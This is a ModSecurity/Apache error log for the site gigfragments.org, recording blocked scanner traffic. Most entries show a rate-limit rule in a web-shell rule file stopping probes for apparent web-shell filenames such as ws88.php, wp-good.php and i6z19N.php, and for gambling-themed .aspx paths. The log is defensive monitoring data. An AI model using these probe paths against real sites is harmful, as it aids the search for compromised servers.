[Fri May 08 18:37:26.564584 2026] [:error] [pid 51009:tid 51090] [client 216.25.190.109:59519] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "af285uB0GbUWhxgzX9UgsQAAAI4"]
[Fri May 08 18:37:28.729516 2026] [:error] [pid 51113:tid 51119] [client 216.25.190.109:59564] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "af286EQfs7sWtqkpQIdsRAAAAMQ"]
[Fri May 08 18:37:29.158086 2026] [:error] [pid 51009:tid 51078] [client 216.25.190.109:59577] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "af286eB0GbUWhxgzX9UgtwAAAII"]
[Fri May 08 18:37:31.264582 2026] [:error] [pid 51113:tid 51125] [client 216.25.190.109:59617] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "af2860Qfs7sWtqkpQIdsRwAAAMo"]
[Fri May 08 18:37:31.690913 2026] [:error] [pid 61317:tid 61333] [client 216.25.190.109:59622] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "af2868-fFk_CedOCOYuykQAAAU0"]
[Fri May 08 18:37:33.788151 2026] [:error] [pid 51113:tid 51136] [client 216.25.190.109:59659] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "af287UQfs7sWtqkpQIdsSAAAANU"]
[Fri May 08 18:37:34.269220 2026] [:error] [pid 61317:tid 61331] [client 216.25.190.109:59662] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "af287s-fFk_CedOCOYuykwAAAUs"]
[Fri May 08 18:37:36.631422 2026] [:error] [pid 61355:tid 61364] [client 216.25.190.109:59707] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "af288PkhJTi30CBXmMmPywAAAYM"]
[Fri May 08 18:37:37.067665 2026] [:error] [pid 51009:tid 51098] [client 216.25.190.109:59714] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "af288eB0GbUWhxgzX9UguwAAAJY"]
[Fri May 08 18:37:39.191218 2026] [:error] [pid 51008:tid 51069] [client 216.25.190.109:59750] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "af2883B58C2Y1tgLtuKO0AAAAFQ"]
[Fri May 08 18:37:39.641463 2026] [:error] [pid 51007:tid 51036] [client 216.25.190.109:59764] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "af2881MagSGstWKyzzXcWwAAAA4"]
[Fri May 08 18:37:41.823274 2026] [:error] [pid 34318:tid 34331] [client 216.25.190.109:59818] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "af289cr3guirgJiKhzDNigAAAQs"]
[Fri May 08 18:37:42.259221 2026] [:error] [pid 34318:tid 34321] [client 216.25.190.109:59832] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "af289sr3guirgJiKhzDNiwAAAQE"]
[Fri May 08 18:37:44.344620 2026] [:error] [pid 61356:tid 61407] [client 216.25.190.109:59858] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "af28-Ix3vpB8oWhUq2N5-wAAAdM"]
[Fri May 08 18:37:44.773011 2026] [:error] [pid 51009:tid 51076] [client 216.25.190.109:59864] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "af28-OB0GbUWhxgzX9UgwgAAAIA"]
[Fri May 08 18:37:46.933863 2026] [:error] [pid 51009:tid 51083] [client 216.25.190.109:59891] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "af28-uB0GbUWhxgzX9UgzgAAAIc"]
[Fri May 08 18:37:47.361257 2026] [:error] [pid 61356:tid 61408] [client 216.25.190.109:59900] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "af28-4x3vpB8oWhUq2N6BAAAAdQ"]
[Fri May 08 18:37:49.490336 2026] [:error] [pid 51009:tid 51087] [client 216.25.190.109:59934] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "af28_eB0GbUWhxgzX9Ug0wAAAIs"]
[Fri May 08 18:37:49.926413 2026] [:error] [pid 51007:tid 51024] [client 216.25.190.109:59942] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "af28_VMagSGstWKyzzXcYAAAAAI"]
[Fri May 08 18:37:52.187441 2026] [:error] [pid 61355:tid 61367] [client 216.25.190.109:59979] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "af29APkhJTi30CBXmMmPzgAAAYY"]
[Fri May 08 18:37:52.620342 2026] [:error] [pid 61355:tid 61362] [client 216.25.190.109:59981] [client 216.25.190.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "af29APkhJTi30CBXmMmP0gAAAYE"]
[Fri May 08 22:46:09.649193 2026] [:error] [pid 51009:tid 51092] [client 150.109.230.210:51960] [client 150.109.230.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af33MeB0GbUWhxgzX9VhvQAAAJA"]
[Fri May 08 23:39:09.766514 2026] [:error] [pid 61356:tid 61406] [client 13.74.146.113:12773] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "af4DnYx3vpB8oWhUq2P5kQAAAdI"]
[Fri May 08 23:39:10.513385 2026] [:error] [pid 61355:tid 61361] [client 13.74.146.113:6270] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "af4DnvkhJTi30CBXmMnw7wAAAYA"]
[Fri May 08 23:39:11.305288 2026] [:error] [pid 34318:tid 34321] [client 13.74.146.113:6209] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "af4Dn8r3guirgJiKhzDzEAAAAQE"]
[Fri May 08 23:39:12.044954 2026] [:error] [pid 61356:tid 61389] [client 13.74.146.113:3774] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tymanage.php"] [unique_id "af4DoIx3vpB8oWhUq2P5kwAAAcE"]
[Fri May 08 23:39:12.903511 2026] [:error] [pid 51009:tid 51100] [client 13.74.146.113:7950] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tymanage.php"] [unique_id "af4DoOB0GbUWhxgzX9VtZQAAAJg"]
[Fri May 08 23:39:13.662781 2026] [:error] [pid 51007:tid 51044] [client 13.74.146.113:6497] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-tymanage.php"] [unique_id "af4DoVMagSGstWKyzzUITQAAABY"]
[Fri May 08 23:39:14.260760 2026] [:error] [pid 51007:tid 51037] [client 13.74.146.113:4812] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "af4DolMagSGstWKyzzUITgAAAA8"]
[Fri May 08 23:39:14.788429 2026] [:error] [pid 51008:tid 51049] [client 13.74.146.113:8447] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "af4DonB58C2Y1tgLtuLDAQAAAEA"]
[Fri May 08 23:39:15.335680 2026] [:error] [pid 51007:tid 51042] [client 13.74.146.113:1376] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "af4Do1MagSGstWKyzzUITwAAABQ"]
[Fri May 08 23:39:15.854413 2026] [:error] [pid 51009:tid 51077] [client 13.74.146.113:8124] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "af4Do-B0GbUWhxgzX9VtZwAAAIE"]
[Fri May 08 23:39:16.398523 2026] [:error] [pid 51113:tid 51124] [client 13.74.146.113:6485] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/r.php"] [unique_id "af4DpEQfs7sWtqkpQIeNGwAAAMk"]
[Fri May 08 23:39:16.917513 2026] [:error] [pid 51009:tid 51098] [client 13.74.146.113:8439] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/r.php"] [unique_id "af4DpOB0GbUWhxgzX9VtaAAAAJY"]
[Fri May 08 23:39:17.461997 2026] [:error] [pid 51009:tid 51095] [client 13.74.146.113:14031] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/r.php"] [unique_id "af4DpeB0GbUWhxgzX9VtagAAAJM"]
[Fri May 08 23:39:18.011177 2026] [:error] [pid 51009:tid 51076] [client 13.74.146.113:14627] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/r.php"] [unique_id "af4DpuB0GbUWhxgzX9VtbAAAAIA"]
[Fri May 08 23:39:18.511076 2026] [:error] [pid 51009:tid 51086] [client 13.74.146.113:15353] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4DpuB0GbUWhxgzX9VtbgAAAIo"]
[Fri May 08 23:39:19.042582 2026] [:error] [pid 51009:tid 51079] [client 13.74.146.113:8477] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4Dp-B0GbUWhxgzX9VtbwAAAIM"]
[Fri May 08 23:39:19.564005 2026] [:error] [pid 61317:tid 61325] [client 13.74.146.113:13082] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4Dp8-fFk_CedOCOYvs0AAAAUU"]
[Fri May 08 23:39:20.127015 2026] [:error] [pid 34318:tid 34332] [client 13.74.146.113:6704] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "af4DqMr3guirgJiKhzDzEgAAAQw"]
[Fri May 08 23:39:20.669923 2026] [:error] [pid 51113:tid 51115] [client 13.74.146.113:4863] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "af4DqEQfs7sWtqkpQIeNHQAAAMA"]
[Fri May 08 23:39:21.240545 2026] [:error] [pid 51009:tid 51092] [client 13.74.146.113:8400] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "af4DqeB0GbUWhxgzX9VtcQAAAJA"]
[Fri May 08 23:39:21.757161 2026] [:error] [pid 51008:tid 51066] [client 13.74.146.113:12780] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "af4DqXB58C2Y1tgLtuLDAwAAAFE"]
[Fri May 08 23:39:22.278501 2026] [:error] [pid 51008:tid 51064] [client 13.74.146.113:1948] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "af4DqnB58C2Y1tgLtuLDBQAAAE8"]
[Fri May 08 23:39:22.832870 2026] [:error] [pid 51009:tid 51093] [client 13.74.146.113:8105] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lolz.php"] [unique_id "af4DquB0GbUWhxgzX9VtcwAAAJE"]
[Fri May 08 23:39:23.349977 2026] [:error] [pid 61317:tid 61326] [client 13.74.146.113:14615] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lolz.php"] [unique_id "af4Dq8-fFk_CedOCOYvs0gAAAUY"]
[Fri May 08 23:39:23.897657 2026] [:error] [pid 51008:tid 51070] [client 13.74.146.113:12795] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lolz.php"] [unique_id "af4Dq3B58C2Y1tgLtuLDBwAAAFU"]
[Fri May 08 23:39:24.414847 2026] [:error] [pid 61355:tid 61366] [client 13.74.146.113:16991] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lolz.php"] [unique_id "af4DrPkhJTi30CBXmMnw8wAAAYU"]
[Fri May 08 23:39:24.931503 2026] [:error] [pid 61317:tid 61321] [client 13.74.146.113:13071] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "af4DrM-fFk_CedOCOYvs1QAAAUE"]
[Fri May 08 23:39:25.647783 2026] [:error] [pid 61317:tid 61333] [client 13.74.146.113:7947] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "af4Drc-fFk_CedOCOYvs2AAAAU0"]
[Fri May 08 23:39:26.187485 2026] [:error] [pid 61356:tid 61408] [client 13.74.146.113:6235] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "af4Drox3vpB8oWhUq2P5mAAAAdQ"]
[Fri May 08 23:39:26.731979 2026] [:error] [pid 61317:tid 61328] [client 13.74.146.113:8384] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "af4Drs-fFk_CedOCOYvs3AAAAUg"]
[Fri May 08 23:39:27.281840 2026] [:error] [pid 51008:tid 51051] [client 13.74.146.113:16276] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i6z19N.php"] [unique_id "af4Dr3B58C2Y1tgLtuLDCgAAAEI"]
[Fri May 08 23:39:27.828082 2026] [:error] [pid 51007:tid 51038] [client 13.74.146.113:14617] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i6z19N.php"] [unique_id "af4Dr1MagSGstWKyzzUIUQAAABA"]
[Fri May 08 23:39:28.344404 2026] [:error] [pid 51007:tid 51032] [client 13.74.146.113:12761] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i6z19N.php"] [unique_id "af4DsFMagSGstWKyzzUIUgAAAAo"]
[Fri May 08 23:39:28.859681 2026] [:error] [pid 61317:tid 61325] [client 13.74.146.113:2443] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i6z19N.php"] [unique_id "af4DsM-fFk_CedOCOYvs3gAAAUU"]
